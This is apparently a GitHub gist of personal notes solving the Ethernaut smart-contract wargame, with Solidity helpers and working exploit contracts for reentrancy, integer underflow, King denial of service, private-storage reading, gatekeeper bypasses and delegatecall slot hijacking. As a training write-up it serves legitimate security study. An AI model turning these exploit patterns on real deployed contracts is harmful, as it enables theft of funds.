Skip to content

Instantly share code, notes, and snippets.

@evaletolab
Last active March 16, 2023 10:15
Show Gist options
  • Save evaletolab/9774d27b8114ca9e601d0bad0b34d69c to your computer and use it in GitHub Desktop.
Save evaletolab/9774d27b8114ca9e601d0bad0b34d69c to your computer and use it in GitHub Desktop.

examples

1. widthdraw

  • Owner is a multi-sig wallet with timelock, where the trust come from?
function withdraw() public isOwner {
  uint256 balance = address(this).balance;
  payable(owner).transfer(balance);
  emit BalanceWithdraw(owner,balance);
}
function destroy() public isOwner {
  emit Destructed(owner,address(this).balance);
  selfdestruct(payable(owner));
}

2. split and concat

function split(bytes sha) constant returns (bytes32 half1, bytes32 half2) {
  assembly {
    half1 := mload(add(sha,0x20))
    half2 := mload(add(sha,0x40))
  }
}

function concat(bytes32 b1, bytes32 b2) pure external returns (bytes memory){
    bytes memory result = new bytes(64);
    assembly {
        mstore(add(result, 32), b1)
        mstore(add(result, 64), b2)
    }
    return result;
}

function concat(bytes2 a, bytes2 b) public pure returns (bytes4) {
    return (a << 4) | b;
}

function lastNbytes(byte a, uint8 N) public pure returns (bytes1) {
    require(2 ** N < 255, “Overflow encountered ! );
    uint8 lastN = uint8(a) % (2 ** N);
    return byte(lastN);
}

3. public to address

function publicKeyToAddress (bytes memory publicKey) public pure returns (bytes20) {
    require (publicKey.length == 64);
    return bytes20 (uint160 (uint256 (keccak256 (publicKey))));
}

4. compute interst rate

            Calculate payout round
            Inflation of 3.69% inflation per 364 days             (approx 1 year)
            dailyInterestRate   = exp(log(1 + 3.69%)  / 364) - 1
                                = exp(log(1 + 0.0369) / 364) - 1
                                = exp(log(1.0369) / 364) - 1
                                = 0.000099553011616349            (approx)
            payout  = allocSupply * dailyInterestRate
                    = allocSupply / (1 / dailyInterestRate)
                    = allocSupply / (1 / 0.000099553011616349)
                    = allocSupply / 10044.899534066692            (approx)
                    = allocSupply * 10000 / 100448995             (* 10000/10000 for int precision)
		    

Ethernaut

1. Fallback

contract.contribute({value:toWei('0.01')})
sendTransaction({from:player, to:instance, value:toWei('0.001')});
contract.withdraw();

2. Fallout

Check contructor name, if it become a function, you can call it directly!

3. Coin Flip

contract.flip(((await web3.eth.getBlock((await getBlockNumber()) )).hash / FACTOR >= 1) ? true: false);

4. Telephone

delegate owner with a proxy contract that makes the deal

pragma solidity ^0.6.0;

/**
 * Ethernaut v3
 */
abstract contract Telephone {
  function changeOwner(address _owner) virtual public;
}

contract ProxyPhone {

  address public owner;
  Telephone public proxy;

  constructor() public {
    owner = msg.sender;
    proxy = Telephone(address(0xa61f6592F2ef2c75Ebee48D4A764331e7932B232));
  }

  function hackOwner(address player) public {
      proxy.changeOwner(player);
  }
}

5. Token

  1. (await contract.totalSupply()).toString(); == 21000000
  2. uint(-1) == 115792089237316195423570985008687907853269984665640564039457584007913129639935
  3. (21000000 - 20) = uint(-X)

First trial 💩

  1. create proxy contract
  2. credit small amount a. transfert sendTransaction({from:player,to:'0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6',value:toWei('0.01')}); b. transfert token contract.transfer('0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6',1) c. quick verify (await contract.balanceOf('0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6')).toString()
  3. call hackTransfer

Second trial 💥 🌟

  1. create proxy contract with fallback
  2. send our total + 1 => contract.transfer('0xEd843EBa699FeE6C5C7674cb436E8c29B4Ab9eF6',21)
  3. it will create an overflow of -1 in calc(20 - 21), balances[msg.sender] -= _value
  4. DONE
function transfer(address _to, uint _value) public returns (bool) {
  require(balances[msg.sender] - _value >= 0); // 20 - 21 >= 0 (true, overflow!!)
  balances[msg.sender] -= _value; // 20 - 21 = MAX.INT (!!HACKED HERE!!)
  balances[_to] += _value; // 
  return true;
}

6. Delegation

use of address(delegateInstance).delegatecall(msg.data) => is usefull for proxying contracts, and so, provide an updatable contract system

  • TIPS: Orginal contract always provide an Interface, and address(delegateInstance).delegatecall provide the implementation 🚀

  • simply, run a transaction with the method sig as msg.data, and 0 ether await sendTransaction({from:player,to:instance,value:toWei('0.0'),data:'0xdd365b8b'}) and web3.utils.keccak256('testCall(string)').substr(0, 10); //0xc7cee1b7 or solidity -> bytes4(keccak256('enter(bytes8)')

7. Force

  • there is no way to stop an attacker from sending ether to a contract by self destroying
  • send eth to the new contract await sendTransaction({from:player,to:force,value:toWei('0.01')})
  • call selfdestructto widthdraw our to a destination (even if destination have no fallback)
  • use special payable type of address selfdestruct(payable(destination))
contract Delegation {
  constructor() public {
  }
  function force(address payable _delegateAddress) public payable {
    selfdestruct(_delegateAddress);
  }
  fallback() external payable{   
  }
}

8. Vault

unlock the contract!

First trial,

Second trial,

  • read private variable as await web3.eth.getStorageAt(instance,1)
  • convert to string web3.utils.toAscii(private)
  • await contract.locked()

It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

9. King

block the contract

  • how to block the contract
  • the method king.transfer as a gas limit of 2100
  • if you transfer fund from an other contrat the fallback() method can overload the basic transfer gas limit
contract BreakKing {
  bool locked;

  constructor() public{
      locked = false;
  }

  fallback() external payable { 
    require(locked == false,"locked abort");
    // fallback must be lock or more expensive than 2100 limit of transfer call
  }
  
  function lock() public{
      locked = true;
  }
  function unlock() public{
      locked = false;
  }
  
  function breakKing(address payable dest) payable public {
      (bool success,) = dest.call.value(1 ether).gas(3000000)("");
      require(success,"tx failed");
  }
}
  • understanding the core (bool success,) = dest.call.value(1 ether).gas(3000000)(""); is the key

10. Reentrance

In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used. transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2. Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic. Re-entrancy is a common attack. You should always be prepared for it!

abstract contract Reentrance {
    function donate(address _to) virtual public payable;
    function withdraw(uint _amount) virtual public;
}

contract HackReentrance {
    address public dest;
    uint _amount;
    Reentrance proxy;
    
    constructor() public payable{
        dest = address(0xaD32FeEc027ee33ee4E7Ffa100ae8E2499062cfb);
        proxy = Reentrance(dest);
        _amount=msg.value;
    }
    
    fallback() external payable {
        if(_amount>0){
            proxy.withdraw(_amount);
            _amount -= _amount;
        }
        
    }
    
    function fund() external{
        proxy.donate.value(_amount)(address(this));
    }
    function withdraw() external{
        proxy.withdraw(_amount);
    }
}

11. Elevator

  • be aware on the state!
  • You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state.
  • An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. gasleft().
interface Elevator {
  function goTo(uint _floor) external;
}

contract Building {
    uint top;
    Elevator elevator;
    
    constructor() public {
        top=0;
        elevator = Elevator(address(0x49E0F1dcCfc2C010b836459a69CC77Bc18b7E0A3));
    }
    
    function isLastFloor(uint floor) external returns (bool){
        top += 1;
        return (top > 1);
    }
    
    function goTo(uint floor) external {
        elevator.goTo(floor);
    }
}

12. Privacy

function add(hex, index) {
 let sum = BigInt(hex)+(index)
 return '0x' + sum.toString(16)
}
// 64 padded
// elem[0]
var key="000000000000000000000000000000000000000000000000000000000000000N"
web3.utils.sha3(key)
// elem[n]
var keysha=add(web3.utils.sha3(key),n)
web3.eth.getStorageAt(instance,keysha)
  • access map
// 64 padded
// mapping(address => uint) map1;
// mapping(address => uint) map2;
var index="000000000000000000000000000000000000000000000000000000000000000N"
var key="00000000000000000000000xbccc714d56bc0da0fd33d96d2a87b680dd6d0df6"

// map1(key)
keysha=web3.utils.sha3(key + index)
web3.eth.getStorageAt(instance,keysha)

// map1(key)
keysha=add(web3.utils.sha3(key + index));
web3.eth.getStorageAt(instance,keysha)
  • decoding private data
//slot0 =>  bool public locked = true;
//slot1 =>  uint256 public ID = block.timestamp;
//slot2 =>  uint8 private flattening = 10;
//slot2 =>  uint8 private denomination = 255;
//slot2 =>  uint16 private awkwardness = uint16(now);
//slot3 =>  bytes32[3] private data;

// web3.eth.getStorageAt(instance,2)
// 0x00000000000000000000000000000000000000000000000000000000,c76c,ff,0a
// web3.eth.getStorageAt(instance,3)
// bytes32[0] => 0x01e91efb850f056169bf55e94748b8b7,2f095859b34cf7f230c501fbe80cf0d0
// web3.eth.getStorageAt(instance,5)
// bytes32[2] => 0xd67d6a491f8b57c054e9516d89a8da1a,572cb3ec97574d06a98361e43b8770ac

//
// bytes16(bytes32[2])
await contract.unlock("0xd67d6a491f8b57c054e9516d89a8da1a")


// testing slot3
web3.eth.getStorageAt(instance,3|4|5)
var key="0000000000000000000000000000000000000000000000000000000000000004";
await web3.eth.getStorageAt(instance,add(web3.utils.sha3(key),0n))
  

13. Gatekeeper One

  • tx.origin is the root of call, msg.sender could be the contract!!
  • gasleft % 8192 => 2896553 (check code bellow, notes on int conversions )
  • _gateKey => bytes8 (64 bits) => 0xaabbccddeeff1122
  • uint32 : 0xeeff1122 == uint16 : 0x1122
  • uint32 : 0xeeff1122 != uint64: 0xaabbccddeeff1122
  • uint32 : 0xeeff1122 == uint16(tx.origin)
interface GateProxy {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GateHack {
    GateProxy gate;
    
    constructor() public {
        gate = GateProxy(address(0x49E0F1dcCfc2C010b836459a69CC77Bc18b7E0A3));
    }
    
    function conv1(string memory txt) public view returns (bytes memory, bytes8,bytes16,bytes32) {
        bytes memory btxt = bytes(txt);
        bytes32  btxt32;
        assembly {
            btxt32 := mload(add(txt, 32))
        }        
        return (btxt, bytes8(btxt32),bytes16(btxt32),btxt32);
    }
    
    function compute(bytes8 key) public view returns (bool,bool,bool,bool,uint256) {
        // uint32 => _check
        bool _a = msg.sender != tx.origin;
        uint256 left = uint256(gasleft() % (8191));
        bool _b = uint32(uint64(key)) != uint64(key);        
        bool _c = uint32(uint64(key)) == uint16(uint64(key));
        bool _d = uint32(uint64(key)) == uint16(tx.origin);
        return (_a,_b,_c,_d,left);
    }
    

    function enter(bytes8 key) external {
        bool result = gate.enter(key);
        require(result,"Oupps");
    }
}
  • Notes on conversions : str -> bytes,
* maham
  * hex -> 6d6168616d
  * bytes32 -> 0000000000000000000000000000000000000000000000000000006d6168616d
* olivier
  * bytes:   0x6f6c6976696572
  * bytes8:  0x6f6c697669657200
  * bytes16: 0x6f6c6976696572000000000000000000
  * bytes32: 0x6f6c697669657200000000000000000000000000000000000000000000000000

  function conv1(string memory txt) public view returns (bytes memory, bytes8,bytes16,bytes32) {
    bytes memory btxt = bytes(txt);
    bytes32  btxt32;
    assembly {
       btxt32 := mload(add(txt, 32))
    }        
    return (btxt, bytes8(btxt32),bytes16(btxt32),btxt32);
  }
  • Notes on conversions : bytes -> uint,
* bytes8 -> 0xaabbccddeeff1122 (8x8)
  * uint64: 12302652060662173986 (-> 0xaabbccddeeff1122)
  * uint32: 4009693474 (-> 0xeeff1122)
  * uint16: 4386 (-> 0x1122)
  
function compute(bytes8 key) public view returns (bool,uint64,uint32,uint16,uint16,uint256) {
    // uint32 => _check
    bool _a = msg.sender != tx.origin;
    uint256 left = gasleft() & 8192;
    uint64 _b = uint64(key);         // != check
    uint32 _c = uint32(uint64(key)); // == check
    uint16 _d = uint16(uint64(key)); // == check
    uint16 _e = uint16(tx.origin);   // == check
    return (_a,_b,_c,_d,_e,left);
}
  • Note sur les méthodes ID
 bytes4 sig = bytes4(keccak256('buy()'));
 (bool success, bytes memory data) = caller.call(abi.encode(sig));
//
// 1) method id
const methodId = web3.utils.keccak256('testCall(string)').substr(0, 10); //0xc7cee1b7
solidity -> bytes4(keccak256('enter(bytes8)')

//
// 2) with ABI API
* web3.eth.abi.encodeParameter('string', 'Hello')
* web3.eth.abi.encodeWithSignature("testCall(string)", "hello")


//
// 3) in ContractName.json
* in data.methodIdentifiers["method(bytes8)"] => 0cea811b
``` json
	"data": {
		"bytecode": {
			"linkReferences": {},
			"object": "...",
      "opcodes": "...",
      "sourceMap": "..."
		},
		"deployedBytecode": {
			"immutableReferences": {},
			"linkReferences": {},
			"object": "...",
      "opcodes": "...",
      "sourceMap": "..."
		},
		"gasEstimates": {
			"creation": {
				"codeDepositCost": "153200",
				"executionCost": "21063",
				"totalCost": "174263"
			},
			"external": {
				"compute(bytes8)": "541",
				"enter(bytes8)": "infinite"
			}
		},
		"methodIdentifiers": {
			"compute(bytes8)": "0cea811b",
			"enter(bytes8)": "3370204e"
		}

Thing that must be used to get this level done

  • use the remix debug, step by step until you known the remaining GAS
  • use the bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff; instead of 0xaabbccdd0000ddc4.
contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

// 
// 0xaabbccdd0000ddc4 (the working is 0x3fcb875f0000ddc4 !!! 0x5B38Da6a701c568545dCfcB0,3FcB875f,56be,ddC4)
contract GatekeeperOneHack {
    GatekeeperOne gate;

    constructor() public {
    }
    
    
    function setProxy(address proxy) public {
        gate = GatekeeperOne(proxy);
    }
    
    //
    // 
    // gate.enter("0xaabbccdd0000ddc4") + revert transaction cost (21'512 gas) (operators 248 gas)
    // https://rinkeby.etherscan.io/vmtrace?txhash=0x9613d1b268256fe4ad47d6c72a7c68e0af8f4455a51745df2aa4d9dd820b0726
    // https://rinkeby.etherscan.io/tx/0x9613d1b268256fe4ad47d6c72a7c68e0af8f4455a51745df2aa4d9dd820b0726
    function enter(uint32 _gas) external returns(bytes8) {
        bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff;
        gate.enter{gas:_gas}(key); //cost (21512 gas) (50 gas) + 2x8191 = 
        return (key);
    }
    
}

library SafeMath {
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

14. GatekeeperTwo

contract GatekeeperTwoHack {


    //
    // test call, callcode, delegatecall, staticcall
    // https://docs.soliditylang.org/en/v0.6.0/yul.html?highlight=extcodesize#low-level-functions
    
    // call()
    // input != sender && extcodesize(caller()) > 0
    
    // delegatecall()
    // input == sender && extcodesize(caller()) == 0

    // in constructor extcodesize == 0
    // input != sender && extcodesize(caller()) == 0
    // note: gate.enter(bytes8(key)) is OK
     constructor() public  {   
        uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ 0xffffffffffffffff;
        bytes memory sig = abi.encodeWithSignature("enter(bytes8)", bytes8(key));
        address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8).call(sig);

     }
}

15. Naught Coin

** Secret here is the missing modifier lockTokens with the call of non protected transferFrom method**

  • (await contract.balanceOf(player)).toString() => "1000000000000000000000000"
  • await contract.approve(player,"1000000000000000000000000")
  • await contract.transferFrom(player,instance,"1000000000000000000000000")

16. Preservation

the danger with delegatecall(...) it update caller local variable in the relative slot position of called contract.

here is why

contract LibraryHack {
  address public timeZone1Library; // slot0
  address public timeZone2Library; // slot1
  address public owner;            // slot2

  function setTime(uint _time) public {
      owner=msg.sender; // update slot2
  }
}

17. Recovery

Contract addresses are deterministic and are calculated by keccack256(address, nonce) where the address is the address of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).

Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.

1. get contract address

Open contract internal transactions, get the one that create child contract

2. get method ABI

var method = web3.eth.abi.encodeFunctionCall({
    name: 'destroy',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_to'
    }]
}, [player]);

3. call method

await sendTransaction({from:player, to:child,value:toWei('0.0'),data:method});

18. MagicNumber

Learn to code EVM bytecodes

uint8 public whatIsTheMeaningOfLife = 42;
60806040526000805460ff1916602a179055348015601c57600080fd5b5060888061002b6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063650500c114602d575b600080fd5b60336049565b6040805160ff9092168252519081900360200190f35b60005460ff168156fea26469706673582212201484749ca770025169e429775a85a3ec86dcddbc1746024c6e7cb50a705a35cf64736f6c634300060c0033

function whatIsTheMeaningOfLife()
6080604052348015600f57600080fd5b506004361060285760003560e01c8063650500c114602d575b600080fd5b60336045565b60408051918252519081900360200190f35b602a9056fea26469706673582212204adf78e648515838968dca5eb82beb8aac9cce6333306e4d74ea075f70f980bd64736f6c634300060c0033

First trial,

------------------
function main() {
  memory[0x00:0x20] = 0x2a;
  return memory[0x00:0x20];
}

60  PUSH1 0x2a
60  PUSH1 0x00
52  MSTORE
60  PUSH1 0x00
60  PUSH1 0x20
F3  *RETURN
var abi =[{
	"inputs": [],
	"name": "whatIsTheMeaningOfLife",
	"outputs": [{
						"internalType": "uint256",
						"name": "",
						"type": "uint256"
					}],
	"stateMutability": "pure",
	"type": "function"
}]
var magic = new web3.eth.Contract(abi);
var magictx = magic.deploy({data: '602a60005260206000f3'}).send({from:player,gas:300000,gasPrice: '300000000000'});
--------------
function main() {
  memory[0x40:0x60] = 0x80;
  var var0 = 0x2a;
  return memory[0x40:0x40 + var0];
}

60  PUSH1 0x80
60  PUSH1 0x40
52  MSTORE
60  PUSH1 0x40
60  PUSH1 0x2a
80  DUP1
91  SWAP1 
F3  *RETURN
	
60806040526040602a80F3

21. Shop

First trial,

  • bonne idée, mais la limite ici est le coût trop élevé des opérations sstore et sload
interface ShopHack {
  function buy() external;
}

contract Buyer {
  constructor() public  {
        assembly { 
            sstore(0x40,142)
        }
  }

  // examples
  // - https://gist.github.com/Agusx1211/e2f6743d8886c784843de5e95b99da78
  // - https://docs.soliditylang.org/en/v0.5.5/assembly.html#opcodes
  function price() external  returns (uint) {
      assembly { 
            let tot := sload(0x40)
            sstore(0x40, sub(tot, 50))
            mstore(0x0, tot)
            return(0x0, 32)                
      }
  }
  
  function hack(address caller) external {
      bytes4 sig = bytes4(keccak256('buy()'));
      (bool success, bytes memory data) = caller.call(abi.encode(sig));
      //ShopHack(caller).buy();
  }
}

Second trial,

  • dans la première solution, l'erreur a été d'enregistrer l'état (premier passage positif et les suivants)
  • alors que cet état peut être déterminé par le contrat source Shop avec la variable isSold qui change entre les deux call de la fonction price() :rocket
if (_buyer.price.gas(3300)() >= price && !isSold) {
  isSold = true;
  price = _buyer.price.gas(3300)();
}

Ce qui donne,

  // examples
  // - https://gist.github.com/Agusx1211/e2f6743d8886c784843de5e95b99da78
  // - https://docs.soliditylang.org/en/v0.5.5/assembly.html#opcodes
  function price() external  returns (uint) {
      bool sold = Shop(msg.sender).isSold();
      assembly { 
            if sold {
                mstore(0x0, 1)
                return(0x0, 32)                
            }           
            mstore(0x0, 200)
            return(0x0, 32)                
      }
  }
 
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment